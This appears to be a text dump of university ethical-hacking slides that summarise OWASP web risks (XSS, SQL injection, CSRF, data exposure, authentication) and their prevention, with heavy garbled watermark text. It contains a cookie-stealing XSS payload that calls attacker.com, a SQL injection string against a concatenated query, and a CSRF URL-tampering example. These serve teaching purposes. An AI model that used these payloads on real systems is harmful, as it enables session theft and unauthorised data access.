Hacking the Web
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Slides used to introduce some basic concepts used in web hacking.
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Hacking the Web
- 1. HACKING THE WEB CONTENT LOVINGLY RIPPED FROM OWASP.ORG
- 2. CROSS SITE SCRIPTINGL HACKING RGU ETH GU ETHICAL HACKING RGU ETHICAL HACKIN SQL INJECTIONHACKING RGU ETHICAL HACK NGRGU ETHICAL HACKINGRGU ETHICAL HAC COOKIE EDITINGACKING RGU ETHICAL HACK RGU ETHICAL HACKINGRGU ETHICAL HACKI CROSS SITE REQUEST FORGERYL HACKING CKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHIC SENSITIVE DATA EXPOSURE RGU ETHICAING
- 3. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING L HACKING RGU ETH GU ETHICAL HACKING RGU ETHICAL HACKIN HACKING RGU ETHICAL HACK NGRGU ETHICAL HACKINGRGU ETHICAL HAC ACKING RGU ETHICAL HACK RGU ETHICAL HACKINGRGU ETHICAL HACKI L HACKING CKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHIC RGU ETHICAING
- 4. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E ATTACK ATTACK ATTACK WEAKNESS WEAKNESS WEAKNESS WEAKNESS CONTROL CONTROL ASSETS FUNCTIONS Threat Agents Attack Vectors Security Weaknesses Security Controls Technical Impacts Business Impacts ATTACK WEAKNESS CONTROL FUNCTIONS IMPACT IMPACT IMPACTIMPACT
- 5. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat Agents Attack Vectors Security Weaknesses Security Controls Technical Impacts Business Impacts
- 6. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat Agents Attack Vectors Security Weaknesses Technical Impacts Business Impacts APPLICATION SPECIFIC DIFFICULT UNCOMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability
- 7. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat Agents Attack Vectors Security Weaknesses Technical Impacts Business Impacts APPLICATION SPECIFIC DIFFICULT UNCOMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability
- 8. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT Considering the threats you plan to protect this data from (e.g., insider attack, external user), make sure you encrypt all sensitive data at rest and in transit in a manner that defends against these threats. Don’t store sensitive data unnecessarily. Discard it as soon as possible. Data you don’t have can’t be stolen. Ensure strong standard algorithms and strong keys are used, and proper key management is in place. Ensure passwords are stored with an algorithm specifically designed for password protection, such as bcrypt, PBKDF2, or scrypt. Disable autocomplete on forms collecting sensitive data and disable caching for pages that contain sensitive data.
- 9. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat Agents Attack Vectors Security Weaknesses Technical Impacts Business Impacts APPLICATION SPECIFIC AVERAGE COMMON EASY MODERATE APPLICATION SPECIFIC Prevalence Detectability
- 10. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat Agents Attack Vectors Security Weaknesses Technical Impacts Business Impacts APPLICATION SPECIFIC AVERAGE COMMON EASY MODERATE APPLICATION SPECIFIC Prevalence Detectability HTTP://WWW.MYAMAZINGBANK.COM/TRANSFERFUNDS.PHP?FROM=1234&TO=4321&AMOUNT=500 HTTP://WWW.MYAMAZINGBANK.COM/TRANSFERFUNDS.PHP?FROM=1234&TO=666&AMOUNT=5000 VERY EASY ATTACK. SOMETHING LIKE THIS… CAN BE CHANGED TO THIS
- 11. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT The preferred option is to include the unique token in a hidden field. This causes the value to be sent in the body of the HTTP request, avoiding its inclusion in the URL, which is more prone to exposure. The unique token can also be included in the URL itself, or a URL parameter. However, such placement runs a greater risk that the URL will be exposed to an attacker, thus compromising the secret token. Requiring the user to re-authenticate, or prove they are a user (e.g., via a CAPTCHA) can also protect against CSRF. Easiest fix, when dealing with forms, is to change it from GET to POST
- 12. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat Agents Attack Vectors Security Weaknesses Technical Impacts Business Impacts APPLICATION SPECIFIC AVERAGE WIDESPREAD AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability BROKEN AUTHENTICATION AND SESSION MANAGEMENT
- 13. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT The primary recommendation for an organisation is to make available to developers: A single set of strong authentication and session management controls. Such controls should strive to: 1. meet all the authentication and session management requirements defined in OWASP’s Application Security Verification Standard (ASVS) areas V2 (Authentication) and V3 (Session Management). 2. have a simple interface for developers. Consider the ESAPI Authenticator and User APIs as good examples to emulate, use, or build upon.
- 14. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat Agents Attack Vectors Security Weaknesses Technical Impacts Business Impacts APPLICATION SPECIFIC EASY COMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability
- 15. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat Agents Attack Vectors Security Weaknesses Technical Impacts Business Impacts APPLICATION SPECIFIC EASY COMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability STRING QUERY = "SELECT * FROM ACCOUNTS WHERE CUSTID='" + REQUEST.GETPARAMETER("ID") + "'"; HTTP://EXAMPLE.COM/APP/ACCOUNTVIEW?ID=' OR '1'='1
- 16. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat Agents Attack Vectors Security Weaknesses Technical Impacts Business Impacts APPLICATION SPECIFIC EASY COMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability STRING QUERY = "SELECT * FROM ACCOUNTS WHERE CUSTID='" + REQUEST.GETPARAMETER("ID") + "'"; HTTP://EXAMPLE.COM/APP/ACCOUNTVIEW?ID=' OR '1'='1
- 17. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT Preventing injection requires keeping untrusted data separate from commands and queries. The preferred option is to use a safe API which avoids the use of the interpreter entirely or provides a parameterised interface. Be careful with APIs, such as stored procedures, that are parameterised, but can still introduce injection under the hood. If a parameterised API is not available, you should carefully escape special characters using the specific escape syntax for that interpreter. OWASP’s ESAPI provides many of these escaping routines.
- 18. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat Agents Attack Vectors Security Weaknesses Technical Impacts Business Impacts APPLICATION SPECIFIC AVERAGE VERY WIDESPREAD EASY MODERATE APPLICATION SPECIFIC Prevalence Detectability (STRING) PAGE += "<INPUT NAME='CREDITCARD' TYPE='TEXT' VALUE='" + REQUEST.GETPARAMETER("CC") + "'>"; '><SCRIPT>DOCUMENT.LOCATION= 'HTTP://WWW.ATTACKER.COM/CGI-BIN/COOKIE.CGI ? FOO='+DOCUMENT.COOKIE</SCRIPT>'.
- 19. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT Preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. Positive or “whitelist” input validation is also recommended as it helps protect against XSS, but is not a complete defense as many applications require special characters in their input. For rich content, consider auto-sanitization libraries like the Java HTML Sanitizer Project. Consider Content Security Policy (CSP) to defend against XSS across your entire site.
- 20. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING